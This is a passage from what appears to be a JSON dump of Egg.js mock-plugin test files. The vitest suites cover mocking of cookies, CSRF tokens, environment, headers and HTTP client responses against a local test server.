'bar',\n        },\n      });\n  });\n\n  it('should work on POST file with user login', async () => {\n    const ctx = app.mockContext({\n      user: {\n        foo: 'bar',\n      },\n      traceId: `trace-${Date.now}`,\n    });\n    // assert(ctx.user.foo === 'bar');\n    const ctxFromStorage = app.ctxStorage.getStore();\n    assert(ctxFromStorage === ctx);\n    assert(app.currentContext === ctx);\n\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .post('/file')\n      .field('title', 'file title')\n      .attach('file', getFixtures('../../package.json'))\n      .expect(200)\n      .expect({\n        fields: {\n          title: 'file title',\n        },\n        filename: 'package.json',\n        user: {\n          foo: 'bar',\n        },\n        traceId: ctx.traceId,\n        ctxFromStorageUser: ctxFromStorage.user,\n        ctxFromStorageTraceId: ctxFromStorage.traceId,\n      });\n    const ctxFromStorage2 = app.ctxStorage.getStore();\n    assert(ctxFromStorage2 === ctx);\n    mm.restore();\n    const ctxFromStorage3 = app.ctxStorage.getStore();\n    assert(!ctxFromStorage3);\n    assert(!app.currentContext);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_cookies.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_cookies.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/mock_cookies'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it(\"should not return when don't mock cookies\", async () => {\n    const ctx = app.mockContext();\n    assert(!ctx.cookies.get('foo'));\n\n    await app\n      .httpRequest()\n      .get('/')\n      .expect((res) => {\n        assert.deepEqual(res.body, {});\n      })\n      .expect(200);\n  });\n\n  it('should mock cookies', async () => {\n    app.mockCookies({\n      foo: 'bar cookie',\n    });\n\n    await app\n      .httpRequest()\n      .get('/')\n      .expect({\n        cookieValue: 'bar cookie',\n        cookiesValue: 'bar cookie',\n      })\n      .expect(200);\n  });\n\n  it('should pass cookie opt', async () => {\n    app.mockCookies({});\n\n    await app\n      .httpRequest()\n      .get('/')\n      .set('cookie', 'foo=bar cookie')\n      .expect({\n        cookieValue: 'bar cookie',\n        cookiesValue: 'bar cookie',\n      })\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_csrf.test.ts",
    "content": "import { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_csrf.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('demo'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should pass', async () => {\n    app.mockCsrf();\n    await app.httpRequest().post('/').expect(200).expect('done');\n  });\n\n  it('should 403 Forbidden', async () => {\n    await app\n      .httpRequest()\n      .post('/')\n      .expect(403)\n      .expect(/ForbiddenError: missing csrf token/);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_custom_loader.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_custom_loader.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('custom-loader'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should return success', async () => {\n    await app\n      .httpRequest()\n      .get('/users/popomore')\n      .expect({\n        adapter: 'docker',\n        repository: 'popomore',\n      })\n      .expect(200);\n  });\n\n  it('should return when mock with data', async () => {\n    app.mockRepository('user', 'get', 'mock');\n    app.mockAdapter('docker', 'inspectDocker', 'mock');\n    await app\n      .httpRequest()\n      .get('/users/popomore')\n      .expect({\n        adapter: 'mock',\n        repository: 'mock',\n      })\n      .expect(200);\n  });\n\n  it('should return when mock the instance', async () => {\n    app.mockAdapter(app.adapter.docker, 'inspectDocker', 'mock');\n    await app\n      .httpRequest()\n      .get('/users/popomore')\n      .expect({\n        adapter: 'mock',\n        repository: 'popomore',\n      })\n      .expect(200);\n  });\n\n  it('should not override the existing API', async () => {\n    // const mod = await importModule(getFixtures('../../dist/commonjs/app/extend/application.js'), {\n    //   importDefaultOnly: true,\n    // });\n    assert.equal(typeof app.mockEnv, 'function');\n    // assert.equal(app.mockEnv, mod.prototype.mockEnv);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_env.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_env.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('demo'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should mock env success', () => {\n    assert.equal(app.config.env, 'unittest');\n    assert.equal(app.config.serverEnv, undefined);\n    app.mockEnv('prod');\n    assert.equal(app.config.env, 'prod');\n    assert.equal(app.config.serverEnv, 'prod');\n  });\n\n  it('should keep mm.restore execute in the current event loop', async () => {\n    mm.restore();\n    assert.equal(app.config.env, 'unittest');\n    assert.equal(app.config.serverEnv, undefined);\n\n    app.mockEnv('prod');\n    assert.equal(app.config.env, 'prod');\n    assert.equal(app.config.serverEnv, 'prod');\n\n    await scheduler.wait(1);\n    assert.equal(app.config.env, 'prod');\n    assert.equal(app.config.serverEnv, 'prod');\n\n    // sync restore should work\n    mm.restore();\n    assert.equal(app.config.env, 'unittest');\n    assert.equal(app.config.serverEnv, undefined);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_headers.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_headers.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('demo'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should not exists without mock', async () => {\n    app.mockContext();\n\n    await request(app.callback())\n      .get('/header')\n      .expect((res) => {\n        assert.equal(res.body.header, '');\n      })\n      .expect(200);\n  });\n\n  it('should mock headers', async () => {\n    app.mockContext();\n    app.mockHeaders({\n      customheader: 'customheader',\n    });\n    await request(app.callback())\n      .get('/header')\n      .expect((res) => {\n        assert.equal(res.body.header, 'customheader');\n      })\n      .expect(200);\n  });\n\n  it('should mock headers that is uppercase', async () => {\n    app.mockContext();\n    app.mockHeaders({\n      Customheader: 'customheader',\n    });\n    await request(app.callback())\n      .get('/header')\n      .expect((res) => {\n        assert.equal(res.body.header, 'customheader');\n      })\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_httpclient_next.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport { Server, type AddressInfo } from 'node:net';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_httpclient_next.test.ts', () => {\n  let app: MockApplication;\n  let server: Server;\n  let url: string;\n  let url2: string;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('demo_next'),\n    });\n    return app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    const address = server.address() as AddressInfo;\n    url = `http://127.0.0.1:${address.port}/mock_url`;\n    url2 = `http://127.0.0.1:${address.port}/mock_url2`;\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should mock url and get response event on urllib', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: Buffer.from('mock all response'),\n    });\n\n    app.httpclient.once('response', (result) => {\n      assert('url' in result.req);\n      // assert('size' in result.req);\n      assert('options' in result.req);\n\n      assert(result.res.status === 200);\n      assert(result.res.statusCode === 200);\n      assert.deepEqual(result.res.headers, {});\n      assert(result.res.rt);\n    });\n\n    let count = 0;\n    app.httpClient.on('response', (result) => {\n      if (count === 0) {\n        const options = result.req.options;\n        assert(options.method === 'GET');\n      } else if (count === 1) {\n        const options = result.req.options;\n        assert(options.method === 'POST');\n        assert(options.headers['x-custom'] === 'custom');\n      }\n      count++;\n    });\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock all response',\n        post: 'mock all response',\n      })\n      .expect(200);\n    assert.equal(count, 2);\n    await mm.restore();\n  });\n\n  it('should mock url using app.mockAgent().intercept()', async () => {\n    app.mockCsrf();\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url',\n        method: 'GET',\n      })\n      .reply(200, 'mock GET response');\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url',\n        method: 'POST',\n      })\n      .reply(200, 'mock POST response');\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock GET response',\n        post: 'mock POST response',\n      })\n      .expect(200);\n  });\n\n  it('should support on streaming', async () => {\n    const textFile = getFixtures('../mock_httpclient_next_h2.test.ts');\n    app.mockHttpclient(url, 'get', {\n      data: fs.readFileSync(textFile),\n    });\n\n    const res = await request(server).get('/streaming').expect(200);\n    assert.match(res.body.toString(), /should support on streaming/);\n    assert.equal(res.body.toString(), fs.readFileSync(textFile, 'utf8'));\n  });\n\n  it('should mock url support multi method', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, ['get', 'post'], {\n      data: Buffer.from('mock response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock response',\n        post: 'mock response',\n      })\n      .expect(200);\n  });\n\n  it('should mockHttpclient call multi times work with Regex', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/\\/not\\/match\\//, {\n      data: Buffer.from('mock not match response'),\n    });\n    app.mockHttpclient(/\\/mock_url/, {\n      data: Buffer.from('mock 1 match response'),\n    });\n    app.mockHttpclient(/\\/mock_url/, {\n      data: Buffer.from('mock 2 match response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock 1 match response',\n        post: 'mock 1 match response',\n      })\n      .expect(200);\n  });\n\n  it('should mockHttpclient call multi times work with url string', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(`${url}-not-match`, {\n      data: Buffer.from('mock not match response'),\n    });\n    app.mockHttpclient(url, {\n      data: Buffer.from('mock 1 match response'),\n    });\n    app.mockHttpclient(url, {\n      data: Buffer.from('mock 2 match response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock 1 match response',\n        post: 'mock 1 match response',\n      })\n      .expect(200);\n  });\n\n  it('should mock url method support *', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, '*', {\n      data: Buffer.from('mock * response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock * response',\n        post: 'mock * response',\n      })\n      .expect(200);\n  });\n\n  it('should mock url post', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: Buffer.from('mock url post'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should auto restore after each case', async () => {\n    app.mockCsrf();\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'url get',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should use first mock data on duplicate url mock', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: Buffer.from('mock url1 first post'),\n    });\n    // should ignore this same url mock data, use the first mock data\n    app.mockHttpclient(url, 'post', {\n      data: Buffer.from('mock url1 second post'),\n    });\n    app.mockHttpclient(url2, 'post', {\n      data: Buffer.from('mock url2 post'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'url get',\n        post: 'mock url1 first post',\n      })\n      .expect(200);\n    await request(server)\n      .get('/urllib')\n      .query({\n        mock_url: '/mock_url2',\n      })\n      .expect({\n        get: 'url get',\n        post: 'mock url2 post',\n      })\n      .expect(200);\n  });\n\n  it('should mock work on query', async () => {\n    app.mockCsrf();\n    // mockHttpclient not support query, should use mockAgent instead\n    app.mockHttpclient(`${url}?foo=foo1`, 'get', {\n      data: Buffer.from('mock foo1'),\n    });\n    app.mockHttpclient(`${url}?foo=foo2`, 'get', {\n      data: Buffer.from('mock foo1'),\n    });\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo1' })\n      .expect({\n        get: 'mock foo1',\n        post: 'url post',\n      })\n      .expect(200);\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo2' })\n      .expect({\n        get: 'mock foo1',\n        post: 'url post',\n      })\n      .expect(200);\n    await app.mockAgentRestore();\n\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url?foo=foo1',\n        method: 'GET',\n      })\n      .reply(200, 'mock new foo1');\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url?foo=foo2',\n        method: 'GET',\n      })\n      .reply(200, 'mock new foo2');\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo1' })\n      .expect({\n        get: 'mock new foo1',\n        post: 'url post',\n      })\n      .expect(200);\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo2' })\n      .expect({\n        get: 'mock new foo2',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should mock url get and post', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should support request', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should support persist = false', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url',\n      persist: false,\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should support persist = true and ignore repeats = 1', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url',\n      persist: true,\n      repeats: 1,\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url',\n        post: 'mock url',\n      })\n      .expect(200);\n  });\n\n  it('should support persist = false and repeats = 2', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url',\n      delay: 100,\n      persist: false,\n      repeats: 2,\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url',\n        post: 'mock url',\n      })\n      .expect(200);\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'url get',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should support curl', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib?method=curl')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should support json', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'get', {\n      data: { method: 'get' },\n    });\n    app.mockHttpclient(url, 'post', {\n      data: { method: 'post' },\n    });\n\n    await request(server)\n      .get('/urllib?dataType=json')\n      .expect({\n        get: { method: 'get' },\n        post: { method: 'post' },\n      })\n      .expect(200);\n  });\n\n  it('should support text', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib?dataType=text')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should exits req headers', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url test',\n    });\n    await request(server).get('/mock_urllib').expect({}).expect(200);\n  });\n\n  it('should mock url path support RegExp', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/\\/mock_url$/, {\n      data: Buffer.from('mock response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock response',\n        post: 'mock response',\n      })\n      .expect(200);\n  });\n\n  it('should mock full url support RegExp', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/http:\\/\\/127\\.0\\.0\\.1:\\d+\\/mock_url$/, ['get', 'post'], {\n      data: Buffer.from('mock full 127 url response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock full 127 url response',\n        post: 'mock full 127 url response',\n      })\n      .expect(200);\n  });\n\n  it('should use copy of mock data', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/\\/mock_url$/, {\n      data: { a: 1 },\n    });\n\n    await request(server)\n      .get('/data_type')\n      .expect({\n        a: 1,\n      })\n      .expect(200);\n\n    await request(server)\n      .get('/data_type')\n      .expect({\n        a: 1,\n      })\n      .expect(200);\n  });\n\n  it('should support fn', async () => {\n    app.mockCsrf();\n    app.mockHttpClient(url, 'get', (url, opt) => {\n      return `mock ${url} with ${opt.path}`;\n    });\n    app.mockHttpClient(url, 'post', 'mock url post');\n\n    await request(server)\n      .get('/urllib')\n      .query({ data: JSON.stringify({ a: 'b' }) })\n      .expect({\n        get: `mock ${url}?a=b with /mock_url?a=b`,\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should mock fn with multi-request without error', async () => {\n    app.mockCsrf();\n    let i = 0;\n    app.mockHttpclient(url, 'post', (a, b) => {\n      assert(a);\n      assert(b);\n      i++;\n      return { data: 'mock url post' };\n    });\n\n    await request(server).get('/urllib').expect(200);\n    await request(server).get('/urllib').expect(200);\n    await request(server).get('/urllib').expect(200);\n    assert(i === 3);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/mock_httpclient_next_h2.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport { Server, type AddressInfo } from 'node:net';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport mm, { type MockApplication } from '../src/index.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/mock_httpclient_next_h2.test.ts', () => {\n  let app: MockApplication;\n  let server: Server;\n  let url: string;\n  let url2: string;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('demo_next_h2'),\n    });\n    return app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    const address = server.address() as AddressInfo;\n    url = `http://127.0.0.1:${address.port}/mock_url`;\n    url2 = `http://127.0.0.1:${address.port}/mock_url2`;\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should mock url and get response event on urllib', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: Buffer.from('mock all response'),\n    });\n\n    app.httpclient.once('response', (result) => {\n      assert('url' in result.req);\n      // assert('size' in result.req);\n      assert('options' in result.req);\n\n      assert(result.res.status === 200);\n      assert(result.res.statusCode === 200);\n      assert.deepEqual(result.res.headers, {});\n      assert(result.res.rt);\n    });\n\n    let count = 0;\n    app.httpClient.on('response', (result) => {\n      if (count === 0) {\n        const options = result.req.options;\n        assert(options.method === 'GET');\n      } else if (count === 1) {\n        const options = result.req.options;\n        assert(options.method === 'POST');\n        assert(options.headers['x-custom'] === 'custom');\n      }\n      count++;\n    });\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock all response',\n        post: 'mock all response',\n      })\n      .expect(200);\n    assert.equal(count, 2);\n    await mm.restore();\n  });\n\n  it('should mock url using app.mockAgent().intercept()', async () => {\n    app.mockCsrf();\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url',\n        method: 'GET',\n      })\n      .reply(200, 'mock GET response');\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url',\n        method: 'POST',\n      })\n      .reply(200, 'mock POST response');\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock GET response',\n        post: 'mock POST response',\n      })\n      .expect(200);\n  });\n\n  it('should support on streaming', async () => {\n    const textFile = getFixtures('../mock_httpclient_next_h2.test.ts');\n    app.mockHttpclient(url, 'get', {\n      data: fs.readFileSync(textFile),\n    });\n\n    const res = await request(server).get('/streaming').expect(200);\n    assert.match(res.body.toString(), /should support on streaming/);\n    assert.equal(res.body.toString(), fs.readFileSync(textFile, 'utf8'));\n  });\n\n  it('should mock url support multi method', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, ['get', 'post'], {\n      data: Buffer.from('mock response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock response',\n        post: 'mock response',\n      })\n      .expect(200);\n  });\n\n  it('should mockHttpclient call multi times work with Regex', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/\\/not\\/match\\//, {\n      data: Buffer.from('mock not match response'),\n    });\n    app.mockHttpclient(/\\/mock_url/, {\n      data: Buffer.from('mock 1 match response'),\n    });\n    app.mockHttpclient(/\\/mock_url/, {\n      data: Buffer.from('mock 2 match response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock 1 match response',\n        post: 'mock 1 match response',\n      })\n      .expect(200);\n  });\n\n  it('should mockHttpclient call multi times work with url string', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(`${url}-not-match`, {\n      data: Buffer.from('mock not match response'),\n    });\n    app.mockHttpclient(url, {\n      data: Buffer.from('mock 1 match response'),\n    });\n    app.mockHttpclient(url, {\n      data: Buffer.from('mock 2 match response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock 1 match response',\n        post: 'mock 1 match response',\n      })\n      .expect(200);\n  });\n\n  it('should mock url method support *', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, '*', {\n      data: Buffer.from('mock * response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock * response',\n        post: 'mock * response',\n      })\n      .expect(200);\n  });\n\n  it('should mock url post', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: Buffer.from('mock url post'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should auto restore after each case', async () => {\n    app.mockCsrf();\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'url get',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should use first mock data on duplicate url mock', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: Buffer.from('mock url1 first post'),\n    });\n    // should ignore this same url mock data, use the first mock data\n    app.mockHttpclient(url, 'post', {\n      data: Buffer.from('mock url1 second post'),\n    });\n    app.mockHttpclient(url2, 'post', {\n      data: Buffer.from('mock url2 post'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'url get',\n        post: 'mock url1 first post',\n      })\n      .expect(200);\n    await request(server)\n      .get('/urllib')\n      .query({\n        mock_url: '/mock_url2',\n      })\n      .expect({\n        get: 'url get',\n        post: 'mock url2 post',\n      })\n      .expect(200);\n  });\n\n  it('should mock work on query', async () => {\n    app.mockCsrf();\n    // mockHttpclient not support query, should use mockAgent instead\n    app.mockHttpclient(`${url}?foo=foo1`, 'get', {\n      data: Buffer.from('mock foo1'),\n    });\n    app.mockHttpclient(`${url}?foo=foo2`, 'get', {\n      data: Buffer.from('mock foo1'),\n    });\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo1' })\n      .expect({\n        get: 'mock foo1',\n        post: 'url post',\n      })\n      .expect(200);\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo2' })\n      .expect({\n        get: 'mock foo1',\n        post: 'url post',\n      })\n      .expect(200);\n    await app.mockAgentRestore();\n\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url?foo=foo1',\n        method: 'GET',\n      })\n      .reply(200, 'mock new foo1');\n    app\n      .mockAgent()\n      .get(new URL(url).origin)\n      .intercept({\n        path: '/mock_url?foo=foo2',\n        method: 'GET',\n      })\n      .reply(200, 'mock new foo2');\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo1' })\n      .expect({\n        get: 'mock new foo1',\n        post: 'url post',\n      })\n      .expect(200);\n    await request(server)\n      .get('/urllib')\n      .query({ foo: 'foo2' })\n      .expect({\n        get: 'mock new foo2',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should mock url get and post', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should support request', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should support persist = false', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url',\n      persist: false,\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should support persist = true and ignore repeats = 1', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url',\n      persist: true,\n      repeats: 1,\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url',\n        post: 'mock url',\n      })\n      .expect(200);\n  });\n\n  it('should support persist = false and repeats = 2', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url',\n      delay: 100,\n      persist: false,\n      repeats: 2,\n    });\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'mock url',\n        post: 'mock url',\n      })\n      .expect(200);\n\n    await request(server)\n      .get('/urllib?method=request')\n      .expect({\n        get: 'url get',\n        post: 'url post',\n      })\n      .expect(200);\n  });\n\n  it('should support curl', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib?method=curl')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should support json', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'get', {\n      data: { method: 'get' },\n    });\n    app.mockHttpclient(url, 'post', {\n      data: { method: 'post' },\n    });\n\n    await request(server)\n      .get('/urllib?dataType=json')\n      .expect({\n        get: { method: 'get' },\n        post: { method: 'post' },\n      })\n      .expect(200);\n  });\n\n  it('should support text', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, 'post', {\n      data: 'mock url post',\n    });\n    app.mockHttpclient(url, {\n      data: 'mock url get',\n    });\n\n    await request(server)\n      .get('/urllib?dataType=text')\n      .expect({\n        get: 'mock url get',\n        post: 'mock url post',\n      })\n      .expect(200);\n  });\n\n  it('should exits req headers', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(url, {\n      data: 'mock url test',\n    });\n    await request(server).get('/mock_urllib').expect({}).expect(200);\n  });\n\n  it('should mock url path support RegExp', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/\\/mock_url$/, {\n      data: Buffer.from('mock response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock response',\n        post: 'mock response',\n      })\n      .expect(200);\n  });\n\n  it('should mock full url support RegExp', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/http:\\/\\/127\\.0\\.0\\.1:\\d+\\/mock_url$/, ['get', 'post'], {\n      data: Buffer.from('mock full 127 url response'),\n    });\n\n    await request(server)\n      .get('/urllib')\n      .expect({\n        get: 'mock full 127 url response',\n        post: 'mock full 127 url response',\n      })\n      .expect(200);\n  });\n\n  it('should use copy of mock data', async () => {\n    app.mockCsrf();\n    app.mockHttpclient(/\\/mock_url$/, {\n      data: { a: 1 },\n    });\n\n    await request(server)\n      .get('/data_type')\n      .expect({\n        a: 1,\n      })\n      .expect(200);\n\n    await request(server)\n      .get('/data_type')\n      .expect({\n        a: 1,\n      })\n      .expect(200);\n  });\n\n  it('should support fn', async () => {\n    app.mockCsrf();\n    app.mockHttpClient(url, 'get', (url, opt) => {\n      return `mock ${url} with ${opt.path}`;\n    });\n    app.mockHttpClient(url, 